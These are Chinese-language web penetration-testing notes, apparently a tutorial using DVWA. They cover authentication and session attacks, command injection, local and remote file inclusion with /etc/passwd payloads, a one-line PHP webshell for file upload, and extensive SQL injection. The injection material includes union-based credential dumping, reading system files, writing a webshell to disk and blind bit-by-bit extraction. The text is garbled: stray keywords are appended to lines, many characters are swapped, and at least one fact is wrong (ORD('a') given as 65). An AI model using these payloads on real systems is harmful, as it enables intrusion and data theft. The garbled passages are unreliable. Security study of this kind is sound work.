1、前提:php
漏洞挖掘原则mysql
全部变量linux
全部头程序员
cookie中的变量web
逐个变量删除算法
漏洞的本质sql
数据与指令的混淆shell
对用户输入信息过滤不严判断失误,误将数据当指令数据库
2、经典漏洞:apache
1、身份认证
经常使用弱口令/基于字典的密码爆破
锁定帐号
信息收集
手机号(一般有以手机号为用户名的)
密码错误提示信息(用户名正确,输入错误密码看返回什么,再输入错误用户名和密码看返回什么,若是返回信息不一样则能够针对一个正确的用户名爆破)
密码嗅探
会话sessionID(Cookies)
Xss/cookie importer (跨站获取cookie)
sessionID in URL (有些网站可能会将sessionID包含在URL中)
嗅探
SessionID 长期不变/永久不变 (网站cookie没有过时机制)
sessionID 生成算法
sequencer
私有算法
预判下一次登录时生成的sessionID
登出后返回测试
2、命令执行漏洞
应用程序开发者直接调用操做系统命令,并无对用户输入数据进行过滤。那么用户能够直接构造操做系统命令做为数据发送过去
构造命令时可能会用到的手法:“;,&&,&,||,|”
例如在表单中输入一个ip地址系统会将ping这个IP的结果返回,那么后台颇有多是调用了系统命令ping,此时能够尝试在表单中输入'1.1.1.1;ls',若是系统过滤不严则后面的ls也将被执行
3、目录遍历/文件包含漏洞(注意:就算apache是用root执行的,可是在对操做系统文件进行读写的时候apache仍是会调用一个"www-data"帐号去读写)
这两种漏洞其实差很少,都是能够读取/var/www/目录之外的文件,好比/etc/passwd。
若是硬要细扣字眼的话,目录遍历是只能遍历主机本地的目录,文件包含除了能够包含主机本地的目录外还能够包含远程主机上的文件(此时能够将远程主机上的木马文件包含进来,让目标主机执行)
注意:1、当URL中包含有‘?变量=XXX’字眼时很是有多是程序经过include将文件XXX包含进来了,此处就能够测试是否有文件包含漏洞
2、有部分程序会将被包含的文件写在cookie中,好比'cookie: path=XXX',全部不论是URL仍是Cookie仍是其余任何地方,只要有变量的地方就都有可能存在文件包含漏洞
本地文件包含漏洞危害:
1)、查看本地文件
2)、任意代码执行(试想: 每次WEB链接server都会将其头部截取下来存入日志文件,那么只须要将恶意代码写入头部那么日志文件就会包含有恶意代码,而后经过文件包含漏洞访问该日志文件也就执行了该恶意代码)
远程文件包含漏洞:
出现几率少于本地文件包含漏洞,但更容易被利用(能够将远端的一个webshell包含进去,主机即执行了该webshell)
经典测试方法
?file=../../../../../../etc/passwd
?page=file:///etc/passwd ====>file://相似于http://,访问系统文件时使用file,须要注意的是file://后面跟的是绝对路径
?home=main.cgi =======>/var/www/下面的main.cgi可能包含有一些源码信息
?page=http://www.a.com/1.php =====>远程文件包含
编码绕过字符过滤(有些程序在包含一个文件时可能会在后面自动加后缀,好比将咱们的../../etc/passwd变成../../etc/passwd.php)
此时可使用'%00'来绕过(%00是null的url编码,%00后面的将再也不执行)
文件包含字典(kali):
/usr/share/wfuzz/wordlist/Injections
4、文件上传漏洞
原理:经过web提供的正常上传服务直接上传webshell,而后访问该webshell让服务器执行它
一句话webshell代码(具有执行系统命令且输出结果功能):<?php echo shell exec($_GET['cmd']):?>
上传该一句话webshell后经过在URL中加入参数让webshell把这个参数当系统命令去执行,例:
http://172.20.163.44/dvwa/hackable/uploads/44.php?cmd=pwd ====> 44.php为webshell名字,cmd为webshell变量名,pwd为要执行的系统命令
一般web后台程序会经过各类方式检测上传内容(例如检测扩展名、检测文件头等),因此须要对上传的webshell作相应的修改才能够成功利用该漏洞
注意:若是上传的webshell为一个静态文件的后缀名时,apache等web程序可能会将其理解为一个静态文件,当你访问它的时候不是传值给它而是将它打开返回
难点:不知道上传后的准确目录;若是上传后的目录没有执行权限就歇菜了
5、SQL注入(只要有一处sql注入漏洞则黑客就有可能利用联合查询构造各类sql查询语句来查询整个数据库,甚至能够利用一些sql内置函数对操做系统进行操纵)
注意:不光表单中可能存在sql注入,只要是有变量的地方都有肯能存在sql注入,例如:cookie、user-agent等
服务器端程序将用户输入参数做为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登陆判断程序后台可能会用到的SQL语句:
select * from users where user='用户输入的用户名' and password='用户输入的密码'
针对这种状况能够尝试的恶意sql语句(最后让上面这句话变成下面这样):
select * from users where user='用户输入的用户名' and password='' or '1=1'
检测sql注入漏洞方式:
1、基于报错的检测方法(输入特殊字符看是否会返回sql语法报错,若是返回语法报错,则说明后台程序将咱们输入的内容带入sql语句执行了,也就说明此处存在sql注入漏洞):
例:' " % ()
2、基于布尔的检测(当构造一个为真的sql注入语句时正常显示,构造一个为假的sql注入语句时显示错误,则说明此处存在sql注入漏洞):
例: 1' and '1'='1 / 1' and '1 (真)
1' and '1'='2 / 1' and '0 (假)
3、基于时间的检测
例:select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
若是存在sql语句则会等待10秒再返回结果(即将' and (select * from (select(sleep(10)))a)-- 的睡眠sql语句执行了)
4、基于UNION联合查询检测
适用于经过循环直接输出联合查询结果,不然只显示第一项结果
5、基于堆叠查询的检测
用‘;’堆叠多个查询语句
适用于非select的数据修改、删除的操做
在已经肯定有sql注入漏洞后要作的事:
1)、查询数据:
1、探测此处web后台程序调用了多少列
构造order by 1,2,3,4...语句,by后面的数字逐渐增大,超出调用列范围后将报错,利用此方法探测web后台程序在该sql语句中调用了多少列。例:
select name,passwd from users where id = '' order by 50--# =====>注意:'-- '(--后面要跟一个空格)或'#'都表示注释符,能够将后面的内容注释掉
2、联合查询
select name,passwd from users where id = '' union select 1,2-- ====>经过这个能够调用一些内置函数来获取更多信息,以及看到name,passwd分别对应的是第几列
select name,passwd from users where id = '' union select user(),version()-- =====>经过sql内置函数user()、version()能够分别将数据库的用户名和版本号暴出来
经常使用sql内置函数:
显示DB用户:user()
显示DB版本:version()
显示当前数据库:database()
全局函数:@@datadir #显示数据库路径
@@hostname #显示操做系统级别的主机名
@@version #显示DB版本
@@version_compile_os #显示操做系统信息
**********若是该web程序是以数据库的root帐户登陆数据库的话能够作如下操做************
若是是mysql数据库的话,information_schema这个数据库中存放了整个mysql数据库的结构信息,能够经过查询该表(查询该表必须具备数据库的root权限才能够)获得整个数据库中包含有哪些库,分别又包含有哪些表,具体须要构造的sql语句以下
select name,passwd from users where id = '' union select table_name,table_schema from information_schema.tables;
也能够经过构造如下sql语句来查询每一个库中总共有几个表
select name,passwd from users where id = '' union select table_schema,count(*) from information_schema.tables group by table_schema;
也能够经过构造如下sql语句来查询具体每一个表中有什么列(例如查询'assets'表中的列名)
select name,passwd from users where id = '' union select table_name,column_name from information_schema.columns where table_name='assets';
也能够经过构造如下sql语句来查询具体某个表中每一个列的值(查询log_analysis库中assets表中id、ip列的值)
select name,passwd from users where id = '' union select id,ip from log_analysis.assets;
假如说已经找到用户名和密码的列能够用如下方法将用户名和密码以 user:password 的形式输出出来(方便查看)
select name,passwd from users where id = '' union select null,concat(user,0x3a,passwd)from log_analysis.assets; ====>0x3a表明':'
**********若是该web程序不是以数据库的root帐户登陆数据库的话能够作如下操做************
猜解列名(本质仍是暴力破解):
猜解当前表的列名:
select name,passwd from users where id = '' and '要猜解的列名' is not null; ====>若是要该表内存在被猜解列名则返回正常(也可能返回为空),若是不存在则返回异常(报错)
猜解当前表的表名:
select name,passwd from users where id = '' and '要猜解的表名.被查询表中确定有的列' is not null;
猜解当前表的库名:
select name,passwd from users where id = '' and '要猜解的库名.当前表名.被查询表中确定有的列' is not null;
2)、对系统文件进行操做:
1、读取文件
select name,passwd from users where id = '' union select null,load_file('/etc/passwd'); ====>load_file()函数为sql内置读取系统文件函数
2、写入文件(注意:当指定写入路径时不少时候会由于访问该目录因权限问题被拒绝,那是由于就算你是用root执行的mysql,可是mysql调用任何对操做系统产生影响的功能时仍是会本身用一个叫"mysql"的帐号去写入)
select name,passwd from users where id = '' union select null,"文件内容(此处能够写一句话木马代码)" into dumpfile "1.php";
注意:若是不指定路径默认传入/var/lib/mysql/1.php路径,可是/var/lib/mysql/目录又不是web目录,就算把立刻传上去了也不能经过web运行该目录下的文件。此时就能够配合文件包含漏洞来操做,找一个mysql、web
帐户均可以读写的目录,而后将立刻传至这个目录,这样利用文件包含漏洞就能够执行该木马了。在linux具备"drwxrwxrw"权限的最典型目录是"/tmp "
3、下载数据库
由于可能读取的数据库数据很是多,靠web网页形式显示不人性化,因此能够考虑利用sql注入将查询到的内容输出到他服务器上的"/tmp"目录下,再利用文件包含漏洞将"/tmp"目录下相应的文件下载下来。
(若是没有文件包含漏洞,则只能用网页形式分次查询了,好比每次查询1W条,此时若是量特别大能够写个爬虫让爬虫自动去查询并解析敏感数据)
select name,passwd from users where id = '' union select null,null into outfile "/tmp/1.db";
SQL盲注(当程序不会返回数据库报错信息时就须要用盲注了):
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将没法依据报错信息判断注入语句的执行结果,即盲注。
盲注思路:
1、既然没有报错信息那就基于真假进行注入判断
构造基于真假盲注sql语句:
select name,passwd from users where id = '1' and 1=1; ====>真
select name,passwd from users where id = '1' and 1=2; ====>假
若是经过构造“真”(1' and 1=1)sql语句和只输入正常数据(‘1’)返回的值相同,则说明存在sql注入(把" ' and 1=1"也执行了)
若是经过构造“假”(1' and 1=2)sql语句和构造“真”(1' and 1=1)sql语句发现返回的值都同样,则不存在sql注入(web程序将“真”sql语句也当成了“假”说明web程序将恶意构造的" ' 1=1"当成了不可识别因素)
2、基于时间进行盲注检测
构造基于时间盲注sql语句:
select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
若是存在sql语句则会等待10秒再返回结果(即将' and (select * from (select(sleep(10)))a)-- 的睡眠sql语句执行了)
拔高:
若是提交表单后返回的是一个图片,那该怎样才能根据返回数据库里的敏感数据呢? 二进制推导!!!
例:
输入一个“真”sql语句返回一个香皂
输入一个“假”sql语句返回一个苹果
select imge from users where name = '香皂' and ORD(MID(version(),1,1))&1>0;
ORD(MID(select passwd from user,1,1))&1>0 解释:
MID():这个函数用来截取字符串,例(MID('abcd',2,4) == 'bcd')
ORD():将字符转换成ASCII码再将ASCII码转换成8位二进制数,例(ORD(a) == a->65->01000001)
&:取二进制数的第几位(1表明从右数第一位,2表明从右数第2位,4表明从右数第3位。。。128表明从右数第8位)
经过以上原理可知:返回'香皂'为1,返回'苹果'为0
逐次增大&后面的数便可推导出MID()给出的字符的ASCII码对应的二进制,逐次增大MID()中后两位参数便可推导出原始字符串。